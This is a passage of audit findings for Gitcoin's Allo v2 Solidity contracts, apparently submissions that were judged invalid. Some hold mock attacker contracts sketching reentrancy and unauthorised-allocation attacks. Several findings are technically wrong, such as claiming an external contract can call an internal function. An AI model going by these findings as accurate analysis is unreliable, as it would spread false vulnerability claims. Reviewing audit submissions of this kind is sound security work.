risks in situations where the contract's operations need to be halted promptly for security or maintenance reasons.\n\n## Vulnerability Detail\nA circuit breaker or emergency stop mechanism allows contract owners or authorized entities to pause or halt the contract's functionality temporarily. This mechanism is crucial in case of critical vulnerabilities, security incidents, or necessary maintenance to protect the contract and its users. The absence of such a mechanism in this contract means there is no way to stop its operations if needed urgently.\n\n## Impact\nThe lack of a circuit breaker or emergency stop mechanism can have the following impacts:\n1. Inability to Respond to Emergencies: In case of a critical security issue or vulnerability, there is no way to halt the contract's operations promptly to prevent further harm.\n2. Increased Risk: Without the ability to pause the contract, the risk of potential exploits or unintended behavior during emergencies is higher.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40\nIn this whole file\n## Code Snippet\nImplementing a simple circuit breaker mechanism might involve adding a state variable that controls the contract's operation and modifying functions to check this state before execution. For Instance:\n\n```solidity\nbool public isContractActive = true;\naddress public owner;\n\nmodifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function\");\n _;\n}\n\nconstructor() {\n owner = msg.sender;\n}\n\nfunction toggleContractActive() external onlyOwner {\n isContractActive = !isContractActive;\n}\n\n// Add the modifier to functions that should be paused during emergencies\nfunction someFunction() external onlyOwner {\n require(isContractActive, \"Contract is paused\");\n // Contract logic\n}\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a circuit breaker or emergency stop mechanism in the contract to provide a way to halt its functionality in emergencies or critical situations. The mechanism should be designed to be accessible only to authorized entities, such as the contract owner, to prevent misuse while ensuring quick responses to security incidents or vulnerabilities.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/413.md"}} +{"title":"The contract lacks the emission of events, which can hinder the ability to track and monitor contract activities","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# The contract lacks the emission of events, which can hinder the ability to track and monitor contract activities\nThe contract lacks the emission of events, which can hinder the ability to track and monitor contract activities. Events are essential for transparency, debugging, and external monitoring of contract interactions.\n\n## Vulnerability Detail\nthere are no event declarations or emissions. Events serve as an important mechanism to log and communicate significant contract activities to external systems or users. Without events, it becomes challenging to obtain insights into the contract's operations, making it less transparent and more difficult to diagnose issues.\n\n## Impact\nThe absence of events can have the following impacts:\n1. Reduced Transparency: Users and external systems cannot easily monitor and track contract activities, making it challenging to understand how the contract is being used.\n2. Debugging Difficulties: Debugging and diagnosing issues within the contract become more complicated without event logs to provide insights into contract execution.\n3. Limited External Integration: External applications or systems that rely on event logs for monitoring and analysis will face limitations in their ability to interact effectively with the contract.\n\n\n## Code Snippet\nEG:\nSource from the beginning of code in this file\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40\n\n```solidity\n// Define an event for contract activities\nevent Execution(address indexed profileOwner, address indexed target, uint256 value, bytes data);\n\nfunction execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n \n // Execute the call\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n \n // Log the contract activity\n emit Execution(msg.sender, _target, _value, _data);\n \n if (!success) revert CALL_FAILED();\n\n return data;\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo enhance transparency, monitoring, and debugging capabilities, consider adding events to log important contract activities. This can include events for function executions, state changes, or other critical actions within the contract. Properly documented and well-designed events provide valuable insights into contract operations and facilitate better integration with external systems and applications.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/412.md"}} +{"title":"Unauthorized Access: The execute function assumes that only the owner of the profile can call it, but it does not verify the identity of the caller in any way other than checking if they own the profile.","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# Unauthorized Access: The execute function assumes that only the owner of the profile can call it, but it does not verify the identity of the caller in any way other than checking if they own the profile.\nThe contract's `execute` function assumes that only the owner of the profile can call it, relying solely on a check to see if the caller owns the profile. This lack of identity verification could potentially allow unauthorized addresses to execute calls on behalf of a profile, leading to misuse.\n\n## Vulnerability Detail\nIn the `execute` function, the contract checks if the caller is the owner of the profile using the following line of code:\n\n```solidity\nif (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n```\n\nWhile this check verifies ownership of the profile, it does not ensure that the caller is indeed the authorized user associated with the profile. It lacks stronger identity verification mechanisms, such as authentication through cryptographic signatures or multi-factor authentication.\n\n## Impact\nThe lack of strong identity verification can lead to unauthorized access, enabling other addresses to execute calls on behalf of a profile. This unauthorized access could result in misuse of the contract's functionality and may have unintended consequences.\n\n## Code Snippet\nrelevant code snippet from the contract:\n```solidity\nif (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n```\n\n```solidity\nfunction execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n // ...\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L72\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo enhance security and prevent unauthorized access, consider implementing stronger authentication and authorization mechanisms to verify the identity of the caller. This could include using cryptographic signatures, multi-factor authentication, or other secure identity verification methods. Additionally, carefully review and test the contract to ensure that only authorized users can execute calls on behalf of their profiles.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/410.md"}} +{"title":"lacks input validation checks on certain parameters in functions like _fundPool, _updatePercentFee, and _updateBaseFee. This absence of input validation could potentially lead to unintended behavior or possible vulnerabilities in the contract","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# lacks input validation checks on certain parameters in functions like _fundPool, _updatePercentFee, and _updateBaseFee. This absence of input validation could potentially lead to unintended behavior or possible vulnerabilities in the contract\nThe code lacks input validation checks on certain parameters in functions like _fundPool, _updatePercentFee, and _updateBaseFee. This absence of input validation could potentially lead to unintended behavior or vulnerabilities in the contract.\n\n\n## Vulnerability Detail\n##### 1. `_updatePercentFee` function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575\n\n```solidity\nfunction _updatePercentFee(uint256 _percentFee) internal {\n if (_percentFee > 1e18) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n}\n```\n\nIn this code, `_updatePercentFee` checks if `_percentFee` is greater than 1e18 to ensure it doesn't exceed a certain value. However, it does not validate if `_percentFee` falls within an acceptable or reasonable range. This may not be sufficient to prevent unexpected or invalid values.\n\n##### 2. `_updateBaseFee` function:\n\n```solidity\nfunction _updateBaseFee(uint256 _baseFee) internal {\n baseFee = _baseFee;\n\n emit BaseFeeUpdated(baseFee);\n}\n```\n\nThe `_updateBaseFee` function does not perform any input validation on `_baseFee`. Without input validation, it is possible to set unexpected or invalid values for `_baseFee`.\n\n##### 3. `_fundPool` function (already discussed):\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n // ... (fee calculation logic)\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\n\nThe `_fundPool` function lacks input validation for parameters such as `_amount`. While this function focuses on fee calculation and transfers, it doesn't check if `_amount` is a valid or reasonable value. This could potentially lead to unintended behavior if invalid values are provided.\n\n\n## Impact\nThe absence of input validation checks in these functions allows for the possibility of setting invalid or unexpected parameter values. This can lead to unintended behavior or vulnerabilities within the contract.\n\n\n## Code Snippet\n```solidity\nfunction _updatePercentFee(uint256 _percentFee) internal {\n if (_percentFee > 1e18) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n}\n```\n\n```solidity\nfunction _updateBaseFee(uint256 _baseFee) internal {\n baseFee = _baseFee;\n\n emit BaseFeeUpdated(baseFee);\n}\n```\nCode snippet illustrating the vulnerability of `_updatePercentFee`:\n\n```solidity\n// Vulnerable code\nfunction _updatePercentFee(uint256 _percentFee) internal {\n if (_percentFee > 1e18) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n}\n```\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo enhance security and prevent potential vulnerabilities due to invalid inputs, it is strongly recommended to implement proper input validation checks in functions that require them. The validation checks should ensure that parameters fall within acceptable and reasonable ranges or meet specific criteria. For example, you can check that fee percentages are within a reasonable range and that base fees are non-negative. Implementing robust input validation helps maintain the contract's integrity and security.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/408.md"}} +{"title":"The _allocate function in the provided code does not include access control checks, potentially allowing any external or malicious contract to call this internal function and interfere with the allocation process.","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# The _allocate function in the provided code does not include access control checks, potentially allowing any external or malicious contract to call this internal function and interfere with the allocation process.\nThe `_allocate` function in the provided code does not include access control checks, potentially allowing any external or malicious contract to call this internal function and interfere with the allocation process. This lack of access control can lead to unexpected behavior or fund losses.\n\n## Vulnerability Detail\nExamining the code snippet for the `_allocate` function:\n\n```solidity\nfunction _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492\n\nIn this code, the `_allocate` function is marked as internal, making it accessible to other functions within the contract and any contracts that inherit from it. However, there are no access control checks within this function. As a result, any external or malicious contract that interacts with this contract can call `_allocate` with arbitrary data, potentially disrupting the intended allocation process.\n\n## Impact\nThe lack of access control in the `_allocate` function opens the door to potential interference from malicious contracts or attackers. They could manipulate the allocation process, leading to unexpected behavior or fund losses within the contract.\n\n## Code Snippet\nThe code snippet below illustrates the vulnerability in the absence of access control checks in the `_allocate` function:\n\n```solidity\n// External malicious contract\ncontract MaliciousContract {\n PoolManager poolManager;\n\n constructor(address _poolManagerAddress) {\n poolManager = PoolManager(_poolManagerAddress);\n }\n\n // Maliciously calls _allocate with arbitrary data\n function attackAllocate(uint256 _poolId, bytes memory _data) external {\n // No access control checks here\n poolManager._allocate(_poolId, _data);\n }\n}\n```\n\nIn this example, the `MaliciousContract` can call the `_allocate` function of the `poolManager` contract without any access control checks, potentially interfering with the allocation process.\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo enhance security, it is strongly recommended to add access control checks to the `_allocate` function. Access control checks should ensure that only authorized contracts or addresses, such as trusted strategies or administrators, can call this internal function. This prevents unauthorized external interference and helps maintain the integrity of the allocation process. Access control can be implemented using role-based access control mechanisms like the OpenZeppelin AccessControl library or custom modifiers.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/407.md"}} +{"title":"Possible reentrancy attack, where an external malicious contract / some can make multiple calls into the _fundPool function, potentially allowing it to manipulate the contract's state and balances","severity":"info","body":"Digital Merlot Seagull\n\nhigh\n\n# Possible reentrancy attack, where an external malicious contract / some can make multiple calls into the _fundPool function, potentially allowing it to manipulate the contract's state and balances\nPossible reentrancy attack, where an external malicious contract / some can make multiple calls into the _fundPool function, potentially allowing it to manipulate the contract's state and balances\n\n## Vulnerability Detail\nThe code is susceptible to reentrancy attacks, where an external malicious contract can make multiple calls into the `_fundPool` function, potentially allowing it to manipulate the contract's state and balances.\n\nThe vulnerability arises from the order of operations within the `_fundPool` function. Delibrating down using a code snippet from code to illustrate the issue:\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n // Transfer fee to the treasury\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n // Transfer remaining amount to the strategy\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\n\nIn this code, the vulnerability lies in the sequence of operations:\n\n1. Fees are deducted from `_amount`.\n2. The remaining amount (`amountAfterFee`) is transferred to the strategy.\n3. `increasePoolAmount` is called to update the pool's balance.\n\nAn attacker can exploit this sequence by creating a malicious strategy contract that reenters the `_fundPool` function after fees are deducted but before `increasePoolAmount` is called. During this reentrancy, the attacker's malicious strategy contract can manipulate the funds' destination, potentially draining the funds intended for the strategy or siphoning off fees.\n\n\n\n## Impact\nAn attacker could drain the funds intended for the strategy or even siphon off fees, leading to a loss of funds for the contract and its users. This is a critical vulnerability that could result in financial losses.\n\n#### Code Example\nTo illustrate the vulnerability, consider this simplified example of an attacker's malicious strategy contract:\n\n```solidity\ncontract MaliciousStrategy {\n PoolContract pool;\n\n constructor(address _poolContract) {\n pool = PoolContract(_poolContract);\n }\n\n // Malicious reentrancy attack\n function attack() external {\n // Perform reentrancy after fees are deducted but before increasePoolAmount\n pool.fundPool(100); // Calls _fundPool with 100 units, reentering here\n // Manipulate funds or destination at this point\n }\n}\n```\n\nThe attacker's `MaliciousStrategy` contract can initiate a reentrancy attack after fees are deducted but before `increasePoolAmount`, potentially redirecting funds or fees for malicious purposes.\n\n\n## Code Snippet\n### LOC\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n // Transfer fee to the treasury\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n // Transfer remaining amount to the strategy\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\n\n```solidity\ncontract MaliciousStrategy {\n PoolContract pool;\n\n constructor(address _poolContract) {\n pool = PoolContract(_poolContract);\n }\n\n // Malicious reentrancy attack\n function attack() external {\n // Perform reentrancy after fees are deducted but before increasePoolAmount\n pool.fundPool(100); // Calls _fundPool with 100 units, reentering here\n // Manipulate funds or destination at this point\n }\n}\n```\n\n## Tool used\nVSCode\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/406.md"}} +{"title":"RFPCommitteeStrategy `_allocate` method missing `onlyActivePool` and `nonReentrant` modifier","severity":"info","body":"Special Eggplant Falcon\n\nhigh\n\n# RFPCommitteeStrategy `_allocate` method missing `onlyActivePool` and `nonReentrant` modifier\nThe `RFPCommitteeStrategy` contract inherits from `RFPSimpleStrategy` and contains a security vulnerability in the `_allocate` method. This method lacks the `onlyActivePool` and `nonReentrant` modifiers, which can lead to potential issues.\n\n## Vulnerability Detail\nThe `_allocate` method in the `RFPCommitteeStrategy` contract overrides the virtual method defined in the `RFPSimpleStrategy` contract. However, it does not include the necessary `onlyActivePool` and `nonReentrant` modifiers, which introduces potential security vulnerabilities.\n\n## Impact\nThe absence of the `nonReentrant` modifier in the `_allocate` method exposes the contract to reentrancy attacks, allowing an attacker to manipulate the contract's state and potentially drain funds.\n\nThe missing `onlyActivePool` modifier allows allocation to occur even in closed pools, leading to incorrect allocation calculations and unauthorized access to funds or resources.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102\nThe `_allocate` method defined in `RFPSimpleStrategy`\n```solidity\n\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender)\n```\nThe override `_allocate` method in `RFPCommitteeStrategy`\n```solidity\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) \n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd modifiers to `_allocate` method.\n```solidity\n function _allocate(bytes memory _data, address _sender) \n internal\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n ........\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/404.md"}} +{"title":"anyone can allocate to recipients via allocate() in allo.sol which calls `_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol`","severity":"info","body":"Mythical Raisin Camel\n\nmedium\n\n# anyone can allocate to recipients via allocate() in allo.sol which calls `_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol`\n`_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol` doesnt have enough access control. this means the allocation for recepients can be set and reset by anyone\n\n## Vulnerability Detail\n`_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol` doesnt check if the sender is a poolManager or pool admin. this means the allocation for recepients can be set and reset by anyone. This bug is present in strategies that extend `DonationVotingMerkleDistributionBaseStrategy` like [DonationVotingMerkleDistributionDirectTransferStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L26C1-L26C9).sol\n\n## Impact\n`allocate()` and ` batchAllocate() `can be called by anyone to allocate tokens and set state for the recipients for these specific strategies that extend `DonationVotingMerkleDistributionBaseStrategy`. The protocol functions and availability is impaired for this specific case. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352C1-L375C6\n```solidity\n function allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant {\n _allocate(_poolId, _data);\n }\n\n function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\n`allocate()` and `batchAllocate()` in allo.sol are callable by anyone and they eventually call `strategy.allocate()`\n\n - in `DonationVotingMerkleDistributionBaseStrategy`, it extends the `BaseStrategy` contract which has the `allocate()` fcn. There is no access control here other than it checks that contract has been initialized and allocate is only callable from allo. The `_sender` value ought to be checked to verify that it is a pool manager or pool admin\n\nlink to allocate() in baseStrategy.sol --> https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L182\n```solidity\n function allocate(bytes memory _data, address _sender) external payable onlyAllo onlyInitialized {\n _beforeAllocate(_data, _sender);\n _allocate(_data, _sender);\n _afterAllocate(_data, _sender);\n }\n```\n\n- _allocate() is found in all contracts that extend `BaseStrategy`. In the case of `DonationVotingMerkleDistributionBaseStrategy`. no check here either for if `_sender` is pool manager or pool admin. \n\nlink to _allocate() --> https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override onlyActiveAllocation {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n uint256 amount = p2Data.permit.permitted.amount;\n address token = p2Data.permit.permitted.token;\n\n // If the recipient status is not 'Accepted' this will revert, the recipient must be accepted through registration\n if (Status(_getUintRecipientStatus(recipientId)) != Status.Accepted) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n // The token must be in the allowed token list and not be native token or zero address\n if (!allowedTokens[token] && !allowedTokens[address(0)]) {\n revert INVALID();\n }\n\n // If the token is native, the amount must be equal to the value sent, otherwise it reverts\n if (msg.value > 0 && token != NATIVE || token == NATIVE && msg.value != amount) {\n revert INVALID();\n }\n\n // Emit that the amount has been allocated to the recipient by the sender\n emit Allocated(recipientId, amount, token, _sender);\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nmake _allocate() check that sender is pool manager. use `onlyPoolManager` modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/403.md"}} +{"title":"batchAllocate will not work for strategies using _allocate() in DonationVotingMerkleDistributionBaseStrategy.sol","severity":"info","body":"Mythical Raisin Camel\n\nmedium\n\n# batchAllocate will not work for strategies using _allocate() in DonationVotingMerkleDistributionBaseStrategy.sol\n`batchAllocate` is not a payable function but `_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol` checks for `msg.value` to not be 0 if token is native. This prevents use of `batchAllocate()` to allocate for these specific strategies that extend `DonationVotingMerkleDistributionBaseStrategy` like [DonationVotingMerkleDistributionDirectTransferStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L26C1-L26C9).sol\n## Vulnerability Detail\n`batchAllocate()` is a function on allo.sol that is used to bundle several allocate() calls and execute them at once in one tx. \n`batchAllocate()` is not a payable function but `allocate()` in base straegy is. `allocate()` is payable and calls` _allocate()` but since `batchAllocate()` is not payable, msg.value will always be 0. `_allocate()` in `DonationVotingMerkleDistributionBaseStrategy.sol `checks for msg.value to not be 0 if token is native. \n\nbatchAllocate() calls that include calling allocate to allocate `native (ether)` tokens in a strategy that uses `DonationVotingMerkleDistributionBaseStrategy` will always revert since the msg.value will always be 0 as it is not a payable function. This will mean you cannot batchAllocate for these specific strategies that extend DonationVotingMerkleDistributionBaseStrategy. \n## Impact\n` batchAllocate() `cannot be called to allocate native ether tokens for these specific strategies that extend `DonationVotingMerkleDistributionBaseStrategy`. The protocol functionality is impaired for this specific case. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362\n```solidity\n function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\nhere we can see that batchAllocate in allo.sol is not payable but it uses `msg.value` in `allocate()`. The msg.value passed into the call to the `strategy.allocate()` call will be 0 here. \n\n - in `DonationVotingMerkleDistributionBaseStrategy`, it extends the `BaseStrategy` contract which has the `allocate()` fcn\nlink to allocate() in baseStrategy.sol --> https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L182\n```solidity\n function allocate(bytes memory _data, address _sender) external payable onlyAllo onlyInitialized {\n _beforeAllocate(_data, _sender);\n _allocate(_data, _sender);\n _afterAllocate(_data, _sender);\n }\n```\n\n- _allocate() is found in all contracts that extend `BaseStrategy`. In the case of `DonationVotingMerkleDistributionBaseStrategy` its _allocate() fcn checks that msg.value is not 0 for native(ether) allocations and reverts if so. \nlink to _allocate() --> https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640\n```solidity\n function _allocate(bytes memory _data, address _sender) internal virtual override onlyActiveAllocation {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n uint256 amount = p2Data.permit.permitted.amount;\n address token = p2Data.permit.permitted.token;\n\n // If the recipient status is not 'Accepted' this will revert, the recipient must be accepted through registration\n if (Status(_getUintRecipientStatus(recipientId)) != Status.Accepted) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n // The token must be in the allowed token list and not be native token or zero address\n if (!allowedTokens[token] && !allowedTokens[address(0)]) {\n revert INVALID();\n }\n\n // If the token is native, the amount must be equal to the value sent, otherwise it reverts\n if (msg.value > 0 && token != NATIVE || token == NATIVE && msg.value != amount) {\n revert INVALID();\n }\n\n // Emit that the amount has been allocated to the recipient by the sender\n emit Allocated(recipientId, amount, token, _sender);\n }\n```\nnow batchAllocate to allocate native(ether) tokens here will fail because `token` will be `native` and msg.value will be 0 and not equal to the `amount`. \n\n## Tool used\nManual Review\n\n## Recommendation\nmake batchAllocate() payable.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/400.md"}} +{"title":"The batch functions will not work if a strategy requires native currency","severity":"info","body":"Obedient Basil Lizard\n\nmedium\n\n# The batch functions will not work if a strategy requires native currency\n[batchRegisterRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L313-L333) and [batchAllocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362-L375) are both batch function that call either the strategy or another internal function. However they both lack payable, which means it is impossible to send `msg.value` with them, and if the strategy requires native currency as like a few, these functions will be unusable.\n \n## Vulnerability Detail\nUnlike [allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352-L354) which **is payable**,[batchAllocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362-L375) **is not**. However they both call the internal function [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492-L494) which allocates to the given strategy. Same is true for the payable [registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304) and not payable - [batchRegisterRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L313-L333).\n\nIf a strategy has some native fee (like ARB on L2) these batch function will not be usable for this strategy. Which is no good since, a part of the contract becomes obsolete or sometimes works and sometimes it does not.\n\n## Impact\nSome function may be unusable with most of the strategies. A part of the contract becomes obsolete. \n\n## Code Snippet\n```solidity\n function registerRecipient(uint256 _poolId, bytes memory _data) \n external \n payable // <= has payable \n nonReentrant\n returns (address);\n\n function batchRegisterRecipient(uint256[] memory _poolIds, bytes[] memory _data)\n external\n nonReentrant // <= payable is missing\n returns (address[] memory recipientIds);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider adding payable to the batch function. This will make them usable with custom strategies.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/399.md"}} +{"title":"Bypass of Allocation Step in DonationVotingMerkleDistributionBaseStrategy","severity":"info","body":"Uneven Holographic Llama\n\nmedium\n\n# Bypass of Allocation Step in DonationVotingMerkleDistributionBaseStrategy\nThe DonationVotingMerkleDistributionBaseStrategy strategy contract allows funds to be directly distributed to recipients without the necessary prerequisite of allocation. This discrepancy in the expected flow can lead to non-malicious misuse and mismanagement of funds.\n\n## Vulnerability Detail\nIn the designed sequence of interactions:\n\nA PoolManager creates a new pool using the DonationVotingMerkle strategy.\nAlice is registered as a recipient in the pool.\nThe PoolManager reviews the registered recipients.\nThe PoolManager uploads the root and initiates the distribution of funds to recipients.\nHowever, the DonationVotingMerkleDistributionBaseStrategy strategy does not enforce the allocation step before the distribution step.\nThe [_distribute function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L633), calls 